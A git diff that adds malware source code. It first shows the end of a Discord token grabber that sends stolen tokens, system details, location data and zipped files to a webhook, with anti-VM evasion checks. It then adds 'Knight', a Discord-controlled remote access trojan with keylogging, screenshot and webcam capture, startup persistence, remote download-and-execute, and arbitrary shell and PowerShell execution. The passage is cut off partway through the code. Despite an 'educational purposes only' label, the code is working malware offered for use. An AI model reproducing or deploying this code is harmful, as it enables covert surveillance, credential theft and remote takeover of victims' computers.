f'''```fix + IP:᠎ {ip.replace(" ", "᠎ ") if ip else "N/A"} + Org:᠎ {org.replace(" ", "᠎ ") if org else "N/A"} + City:᠎ {city.replace(" ", "᠎ ") if city else "N/A"} + Region:᠎ {region.replace(" ", "᠎ ") if region else "N/A"} + Country:᠎ {country.replace(" ", "᠎ ") if country else "N/A"}``` + '''.replace(' ', ''), + 'inline': True + }, + { + 'name': '\u200b', + 'value': f'''```fix + PCName: {Victim_pc.replace(" ", "᠎ ")} + WinKey:᠎ {wkey} + Platform:᠎ {wname} + DiskSpace:᠎ {disk}GB + Ram:᠎ {ram}GB``` + '''.replace(' ', ''), + 'inline': True + }, + { + 'name': '**Tokens:**', + 'value': f'''```yaml + {tokens if tokens else "No tokens extracted"}``` + '''.replace(' ', ''), + 'inline': False + }, + { + 'name': fileCount, + 'value': f'''```ini + [ + {files_found.strip()} + ]``` + '''.replace(' ', ''), + 'inline': False + } + ], + 'footer': { + 'text': '🌟・Grabber By Rdimo・https://github.com/S1LKT0UCH/Hazard-Token-Grabber-v2' + } + } + ] + } + httpx.post(self.webhook, json=embed) + with open(_zipfile, 'rb') as f: + httpx.post(self.webhook, files={'upload_file': f}) + os.remove(_zipfile) + + +class AntiDebug(functions): + inVM = False + + def __init__(self): + self.processes = list() + + self.blackListedUsers = ["WDAGUtilityAccount", "Abby", "Peter Wilson", "hmarc", "patex", "JOHN-PC", "RDhJ0CNFevzX", "kEecfMwgj", "Frank", + "8Nl0ColNQ5bq", "Lisa", "John", "george", "PxmdUOpVyx", "8VizSM", "w0fjuOVmCcP5A", "lmVwjj9b", "PqONjHVwexsS", "3u2v9m8", "Julia", "HEUeRzl", ] + self.blackListedPCNames = ["BEE7370C-8C0C-4", "DESKTOP-NAKFFMT", "WIN-5E07COS9ALR", "B30F0242-1C6A-4", "DESKTOP-VRSQLAG", "Q9IATRKPRH", "XC64ZB", "DESKTOP-D019GDM", "DESKTOP-WI8CLET", "SERVER1", "LISA-PC", "JOHN-PC", + "DESKTOP-B0T93D6", "DESKTOP-1PYKP29", "DESKTOP-1Y2433R", "WILEYPC", "WORK", "6C4E733F-C2D9-4", "RALPHS-PC", "DESKTOP-WG3MYJS", "DESKTOP-7XC6GEZ", "DESKTOP-5OV9S0O", "QarZhrdBpj", "ORELEEPC", "ARCHIBALDPC", "JULIA-PC", "d1bnJkfVlH", ] + self.blackListedHWIDS = ["7AB5C494-39F5-4941-9163-47F54D6D5016", "032E02B4-0499-05C3-0806-3C0700080009", "03DE0294-0480-05DE-1A06-350700080009", "11111111-2222-3333-4444-555555555555", "6F3CA5EC-BEC9-4A4D-8274-11168F640058", "ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548", "4C4C4544-0050-3710-8058-CAC04F59344A", "00000000-0000-0000-0000-AC1F6BD04972", "00000000-0000-0000-0000-000000000000", "5BD24D56-789F-8468-7CDC-CAA7222CC121", "49434D53-0200-9065-2500-65902500E439", "49434D53-0200-9036-2500-36902500F022", "777D84B3-88D1-451C-93E4-D235177420A7", "49434D53-0200-9036-2500-369025000C65", + "B1112042-52E8-E25B-3655-6A4F54155DBF", "00000000-0000-0000-0000-AC1F6BD048FE", "EB16924B-FB6D-4FA1-8666-17B91F62FB37", "A15A930C-8251-9645-AF63-E45AD728C20C", "67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3", "C7D23342-A5D4-68A1-59AC-CF40F735B363", "63203342-0EB0-AA1A-4DF5-3FB37DBB0670", "44B94D56-65AB-DC02-86A0-98143A7423BF", "6608003F-ECE4-494E-B07E-1C4615D1D93C", "D9142042-8F51-5EFF-D5F8-EE9AE3D1602A", "49434D53-0200-9036-2500-369025003AF0", "8B4E8278-525C-7343-B825-280AEBCD3BCB", "4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27", "79AF5279-16CF-4094-9758-F88A616D81B4", ] + + for func in [self.listCheck, self.registryCheck, self.specsCheck]: + process = threading.Thread(target=func, daemon=True) + self.processes.append(process) + process.start() + for t in self.processes: + try: + t.join() + except RuntimeError: + continue + + def programExit(self): + self.__class__.inVM = True + + def programKill(self, proc): + try: + os.system(f"taskkill /F /T /IM {proc}") + except (PermissionError, InterruptedError, ChildProcessError, ProcessLookupError): + pass + + def listCheck(self): + for path in [r'D:\Tools', r'D:\OS2', r'D:\NT3X']: + if os.path.exists(path): + self.programExit() + + for user in self.blackListedUsers: + if Victim == user: + self.programExit() + + for pcName in self.blackListedPCNames: + if Victim_pc == pcName: + self.programExit() + + try: + myHWID = subprocess.check_output( + r"wmic csproduct get uuid", creationflags=0x08000000).decode().split('\n')[1].strip() + except Exception: + myHWID = "" + for hwid in self.blackListedHWIDS: + if myHWID == hwid: + self.programExit() + + def specsCheck(self): + ram = str(psutil.virtual_memory()[0]/1024 ** 3).split(".")[0] + if int(ram) <= 3: # 3gb or less ram + self.programExit() + disk = str(psutil.disk_usage('/')[0]/1024 ** 3).split(".")[0] + if int(disk) <= 50: # 50gb or less disc space + self.programExit() + if int(psutil.cpu_count()) <= 1: # 1 or less cpu cores + self.programExit() + + def registryCheck(self): + reg1 = os.system( + "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul") + reg2 = os.system( + "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul") + if (reg1 and reg2) != 1: + self.programExit() + + handle = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, + 'SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum') + try: + reg_val = winreg.QueryValueEx(handle, '0')[0] + + if ("VMware" or "VBOX") in reg_val: + self.programExit() + finally: + winreg.CloseKey(handle) + + +if __name__ == "__main__" and os.name == "nt": + asyncio.run(Hazard_Token_Grabber_V2().init()) diff --git a/Knight-Discord-Remote-Access-Trojan/.gitignore b/Knight-Discord-Remote-Access-Trojan/.gitignore new file mode 100644 index 0000000..d2e0779 --- /dev/null +++ b/Knight-Discord-Remote-Access-Trojan/.gitignore @@ -0,0 +1,160 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/Knight-Discord-Remote-Access-Trojan/LICENSE b/Knight-Discord-Remote-Access-Trojan/LICENSE new file mode 100644 index 0000000..5c187b6 --- /dev/null +++ b/Knight-Discord-Remote-Access-Trojan/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 gumbobr0t + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Knight-Discord-Remote-Access-Trojan/README.md b/Knight-Discord-Remote-Access-Trojan/README.md new file mode 100644 index 0000000..aa2422e --- /dev/null +++ b/Knight-Discord-Remote-Access-Trojan/README.md @@ -0,0 +1,24 @@ +# Knight-RAT +Discord Remote Administration Tool + +⚠️ **Educational Purposes Only!** + +Prerequisites: +- python 3.9-10 +**Do not forget to add it to path!** + +Setup: +- `pip install -r requirements.txt` +- Edit this config in the knight.py: +```py +### CONFIG + +btoken = '' ### REQUIRED | DISCORD BOT TOKEN NEEDS TO BE PUT HERE FOR THE RAT TO WORK +prefix = '' ### OPTIONAL | IGNORE THIS IF YOU WANT TO RUN COMMANDS WITHOUT A PREFIX | PREFIX THE DISCORD BOT WILL BE CALLED WITH +userid = '' ### OPTIONAL | IGNORE THIS IF YOU DON'T WANT TO BE PINGED | ONLY WORKS WITH CHANNELID SET | THIS IS THE USER WHO WILL BE NOTIFIED ABOUT NEW CLIENTS WITH A PING +channelid = '' ### OPTIONAL | ONLY SET IF YOU WANT TO GET A MESSAGE WHEN NEW CLIENTS GET ONLINE +``` +**Make sure you have all intents on the bot enabled and the bot on your server.** +- `pyinstaller --noconsole --onefile knight.py --clean` + +## Execute >help, .help or whatever your prefix is to see all commands. This was a fun project which wont receive updates anymore now. (probably). Some commands dont work. Explaination on how the Id system works is [here](https://github.com/rose-dll/Rose-Stealer/blob/main/docs/KNIGHT.md). diff --git a/Knight-Discord-Remote-Access-Trojan/assets/Knight.ico b/Knight-Discord-Remote-Access-Trojan/assets/Knight.ico new file mode 100644 index 0000000..7cd8df7 Binary files /dev/null and b/Knight-Discord-Remote-Access-Trojan/assets/Knight.ico differ diff --git a/Knight-Discord-Remote-Access-Trojan/assets/Knight.png b/Knight-Discord-Remote-Access-Trojan/assets/Knight.png new file mode 100644 index 0000000..2826763 Binary files /dev/null and b/Knight-Discord-Remote-Access-Trojan/assets/Knight.png differ diff --git a/Knight-Discord-Remote-Access-Trojan/knight.py b/Knight-Discord-Remote-Access-Trojan/knight.py new file mode 100644 index 0000000..4e8a59e --- /dev/null +++ b/Knight-Discord-Remote-Access-Trojan/knight.py @@ -0,0 +1,498 @@ +import discord +import sys +import os +import random +import socket +import webbrowser +import ctypes +import subprocess +import pygame +import pygame.camera +import requests +import win32con +import keyboard +import time +import shutil +from sys import argv +from PIL import ImageGrab +from discord.ext import commands + +### CONFIG + +btoken = '' ### REQUIRED | DISCORD BOT TOKEN NEEDS TO BE PUT HERE FOR THE RAT TO WORK +prefix = '' ### OPTIONAL | IGNORE THIS IF YOU WANT TO RUN COMMANDS WITHOUT A PREFIX | PREFIX THE DISCORD BOT WILL BE CALLED WITH +userid = '' ### OPTIONAL | IGNORE THIS IF YOU DON'T WANT TO BE PINGED | ONLY WORKS WITH CHANNELID SET | THIS IS THE USER WHO WILL BE NOTIFIED ABOUT NEW CLIENTS WITH A PING +channelid = '' ### OPTIONAL | ONLY SET IF YOU WANT TO GET A MESSAGE WHEN NEW CLIENTS GET ONLINE + +### DEV CONFIG + +pygame.camera.init() +dscrd = 'https://discord.gg/rHdqqqYVzY' +roaming = os.getenv("appdata") +startup_loc = os.path.join(roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup") +changed = win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE +hostname = socket.gethostname() +cwd = os.getcwd() +intents = discord.Intents.all() +bot = commands.Bot(description=f"Running Knight Remote Adminstration Tool.", command_prefix=prefix, intents=intents) +clientid = ''.join(random.choice('0123456789') for i in range(6)) +def get_random_string(length): + letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' + global result_str + result_str = ''.join(random.choice(letters) for i in range(length)) + +if channelid == '': + pass +else: + @bot.event + async def on_ready(): + usrmention = f'<@{userid}>' + channel = bot.get_channel(int(channelid)) + if userid == '': + await channel.send(f"New client online: process {clientid}") + else: + await channel.send(f"{usrmention} | New client online: process {clientid}") + +@bot.command(name='open') +async def open(ctx, inputid, fpath): + if inputid == clientid: + try: + os.system(fpath) + await ctx.send(f'Successfully ran file with the path `{fpath}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t run file with the path `{fpath}` for process {clientid} because of `{Exception}`.') + if inputid != clientid: + if inputid == 'all': + try: + os.system(fpath) + await ctx.send(f'Successfully ran file with the path `{fpath}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t run file with the path `{fpath}` for process {clientid} because of `{Exception}`.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='taskschd') +async def taskschd(ctx, inputid): + if inputid == clientid: + try: + os.system('taskschd.msc') + await ctx.send(f'Successfully started windows task scheduler for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t start windows task scheduler for process {clientid} because of `{Exception}`.') + if inputid != clientid: + if inputid == 'all': + try: + os.system('taskschd.msc') + await ctx.send(f'Successfully started windows task scheduler for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t start windows task scheduler for process {clientid} because of `{Exception}`.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='keylogger') +async def keylogger(ctx, inputid, duration): + if inputid == clientid: + get_random_string(15) + record_time = duration ### DURATION OF KEYLOGGER IN SECONDS + fname = f'keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt' + end_time = time.monotonic() + int(record_time) + recorded = [] + try: + await ctx.send(f'Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.') + while True: + if time.monotonic() >= end_time: + break + recorded.append(keyboard.read_event()) + except KeyboardInterrupt: + await ctx.send(f'Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.') + pass + except Exception: + await ctx.send(f'Couldn\'t start keylogger for process {clientid} because of `{Exception}`.') + + with open(fname, 'w') as f: + for keystroke in recorded: + if keystroke.event_type == 'down': + if str('up') in str(keystroke): + str(keystroke).upper() + if str('down') in str(keystroke): + str(keystroke).lower() + f.write(str(f'''{keystroke} +'''.replace('KeyboardEvent', '').replace('(', '').replace(')', '').replace(' up', '').replace(' down', ''))) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Keylogger data file `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + get_random_string(15) + record_time = duration ### DURATION OF KEYLOGGER IN SECONDS + fname = f'keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt' + end_time = time.monotonic() + int(record_time) + recorded = [] + try: + await ctx.send(f'Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.') + while True: + if time.monotonic() >= end_time: + break + recorded.append(keyboard.read_event()) + except KeyboardInterrupt: + await ctx.send(f'Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.') + pass + except Exception: + await ctx.send(f'Couldn\'t start keylogger for process {clientid} because of `{Exception}`.') + + with open(fname, 'w') as f: + for keystroke in recorded: + if keystroke.event_type == 'down': + if str('up') in str(keystroke): + str(keystroke).upper() + if str('down') in str(keystroke): + str(keystroke).lower() + f.write(str(f'''{keystroke} +'''.replace('KeyboardEvent', '').replace('(', '').replace(')', '').replace(' up', '').replace(' down', ''))) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Keylogger data file `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='msgbox') +async def msgbox(ctx, inputid, title, msg): + if inputid == clientid: + emojis = ['✅', '❌'] + prmtn = await ctx.send(f'Final message box is ready to be sent to process {clientid}. Are we allowed to promote Knight Remote Adminstration Tool a little with it?') + for emoji in emojis: + await prmtn.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + MB_OK = 0x0 ### BUTTON + ICON_EXCLAIM = 0x30 ### ICON + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + ctypes.windll.user32.MessageBoxW(0, str(f'Join the Discord server: {dscrd} | Individual user message: ' + msg), str('Your PC is infected by Knight Remote Adminstration Tool! | Individual user title: ' + title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITH PROMOTION + await ctx.send(f'Successfully showed message box with promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + try: + ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITHOUT PROMOTION + await ctx.send(f'Successfully showed message box without promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + else: + return + if inputid != clientid: + if inputid == 'all': + emojis = ['✅', '❌'] + prmtn = await ctx.send(f'Final message box is ready to be sent to process {clientid}. Are we allowed to promote Knight Remote Adminstration Tool a little with it?') + for emoji in emojis: + await prmtn.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + MB_OK = 0x0 ### BUTTON + ICON_EXCLAIM = 0x30 ### ICON + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + ctypes.windll.user32.MessageBoxW(0, str(f'Join the Discord server: {dscrd} | Individual user message: ' + msg), str('Your PC is infected by Knight Remote Adminstration Tool! | Individual user title: ' + title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITH PROMOTION + await ctx.send(f'Successfully showed message box with promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + try: + ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITHOUT PROMOTION + await ctx.send(f'Successfully showed message box without promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + else: + return + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='screenshot') +async def screenshot(ctx, inputid): + if inputid == clientid: + image = ImageGrab.grab( + bbox=None, + include_layered_windows=False, + all_screens=True, + xdisplay=None + ) + fname = f'screenshot_{clientid}.png' + image.save(fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Screenshot `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + image = ImageGrab.grab( + bbox=None, + include_layered_windows=False, + all_screens=True, + xdisplay=None + ) + fname = f'screenshot_{clientid}.png' + image.save(fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Screenshot `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='startup') +async def startup(ctx, inputid): + if inputid == clientid: + try: + shutil.copy(argv[0], startup_loc) + await ctx.send(f'Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + except Exception: + await ctx.send(f'Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + if inputid != clientid: + if inputid == 'all': + try: + shutil.copy(argv[0], startup_loc) + await ctx.send(f'Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + except Exception: + await ctx.send(f'Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='upload') +async def upload(ctx, inputid, dwnldlink, filetype): ### PUT FILE TYPES LIKE .png, .exe, .msi, .txt AND MORE THERE WHEN USING THE COMMAND + if inputid == clientid: + get_random_string(15) + r = requests.get(dwnldlink, allow_redirects=False) + fname = f'filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}' + open(fname, 'wb').write(r.content) + emojis = ['✅', '❌'] + msg = await ctx.send(f'Downloaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?') + for emoji in emojis: + await msg.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + os.system(fname) + await ctx.send(f'Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + await ctx.send(f'Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.') + return + else: + return + if inputid != clientid: + if inputid == 'all': + get_random_string(15) + r = requests.get(dwnldlink, allow_redirects=False) + fname = f'filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}' + open(fname, 'wb').write(r.content) + emojis = ['✅', '❌'] + msg = await ctx.send(f'Downloaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?') + for emoji in emojis: + await msg.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + os.system(fname) + await ctx.send(f'Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + await ctx.send(f'Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.') + return + else: + return + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='wallpaper') +async def wallpaper(ctx, inputid, rawimg): + if inputid == clientid: + r = requests.get(rawimg, allow_redirects=False) + fname = f'newwallpaper_{clientid}.jpg' ### ONLY .jpg IMAGES + open(fname, 'wb').write(r.content) + path = os.path.abspath(fname) + ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed) + await ctx.send(f'Changed background wallpaper for {clientid} to `{rawimg}`.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + r = requests.get(rawimg, allow_redirects=False) + fname = f'newwallpaper_{clientid}.jpg' ### ONLY .jpg IMAGES + open(fname, 'wb').write(r.content) + path = os.path.abspath(fname) + ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed) + await ctx.send(f'Changed background wallpaper for {clientid} to `{rawimg}`.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='webcam') +async def webcam(ctx, inputid): + if inputid == clientid: + camlist = pygame.camera.list_cameras() + fname = str(f'webcampicture_{clientid}.png') + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + pygame.image.save(image, fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Webcam picture `{fname}` from process {clientid} was sent.') + os.remove(fname) + else: + await ctx.send(f'No camera was found for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + camlist = pygame.camera.list_cameras() + fname = str(f'webcampicture_{clientid}.png') + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + pygame.image.save(image, fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Webcam picture `{fname}` from process {clientid} was sent.') + os.remove(fname) + else: + await ctx.send(f'No camera was found for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='tasklist') +async def tasklist(ctx, inputid): + if inputid == clientid: + tasks = str(subprocess.check_output('tasklist', shell=True)) + fname = f'runningtasks_{clientid}.txt' + with open(fname, 'w') as f: + f.write(tasks) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Wrote all current tasks from process {clientid} to `{fname}`.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + tasks = str(subprocess.check_output('tasklist', shell=True)) + fname = f'runningtasks_{clientid}.txt' + with open(fname, 'w') as f: + f.write(tasks) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Wrote all current tasks from process {clientid} to `{fname}`.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='killprocess') +async def killprocess(ctx, inputid, procname): + if inputid == clientid: + subprocess.run(f'taskkill /f /im {procname}', shell=True) + await ctx.send(f'Initiated to kill process `{procname}` for client {clientid}.') + if inputid != clientid: + if inputid == 'all': + subprocess.run(f'taskkill /f /im {procname}', shell=True) + await ctx.send(f'Initiated to kill process `{procname}` for client {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='excshell') +async def shell(ctx, inputid, cmd): + if inputid == clientid: + subprocess.run(f'start cmd /f /c {cmd}', shell=True) + await ctx.send(f'Executed cmd command `{cmd}` for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + subprocess.run(f'start cmd /f /c {cmd}', shell=True) + await ctx.send(f'Executed cmd command `{cmd}` for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='excpowershell') +async def powershell(ctx, inputid, shllcmd): + if inputid == clientid: + subprocess.run(f'start powershell /c {shllcmd}', shell=True) + await ctx.send(f'Executed shell command `{shllcmd}` for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + subprocess.run(f'start powershell /c {shllcmd}', shell=True) + await ctx.send(f'Executed shell command `{shllcmd}` for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='isadmin') +async def isadmin(ctx, inputid): + if inputid == clientid: + isadmin = ctypes.windll.shell32.IsUserAnAdmin() + if isadmin: + await ctx.send(f'Process {clientid} **is** admin.') + if not isadmin: + await ctx.send(f'Process {clientid} **is not** admin.') + if inputid != clientid: + if inputid == 'all': + isadmin = ctypes.windll.shell32.IsUserAnAdmin() + if isadmin: + await ctx.send(f'Process {clientid} **is** admin.') + if not isadmin: + await ctx.send(f'Process {clientid} **is not** admin.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='getadmin') +async def getadmin(ctx, inputid): + if inputid == clientid: + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + await ctx.send(f'Requested admin access for process {clientid}.') + sys.exit(0) + if inputid != clientid: + if inputid == 'all': + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + await ctx.send(f'Requested admin access for process {clientid}.') + sys.exit(0) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='quit') +async def quit(ctx, inputid): + if inputid == clientid: + await ctx.send(f'Terminated Knight Remote Adminstration Tool for {clientid}.') + sys.exit(0) + if inputid != clientid: + if inputid == 'all': + await ctx.send(f'Terminated Knight Remote Adminstration Tool for {clientid}.') + sys.exit(0) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='clients') +async def clients(ctx): + await ctx.send(f'{hostname} - {clientid}.') + +@bot.command(name='browser') +async def browser(ctx, inputid, url): + if inputid == clientid: + webbrowser.open(url) + await ctx.send(f'Opened webbrowser `{url}` for process {clientid}.') + if inputid != clientid: 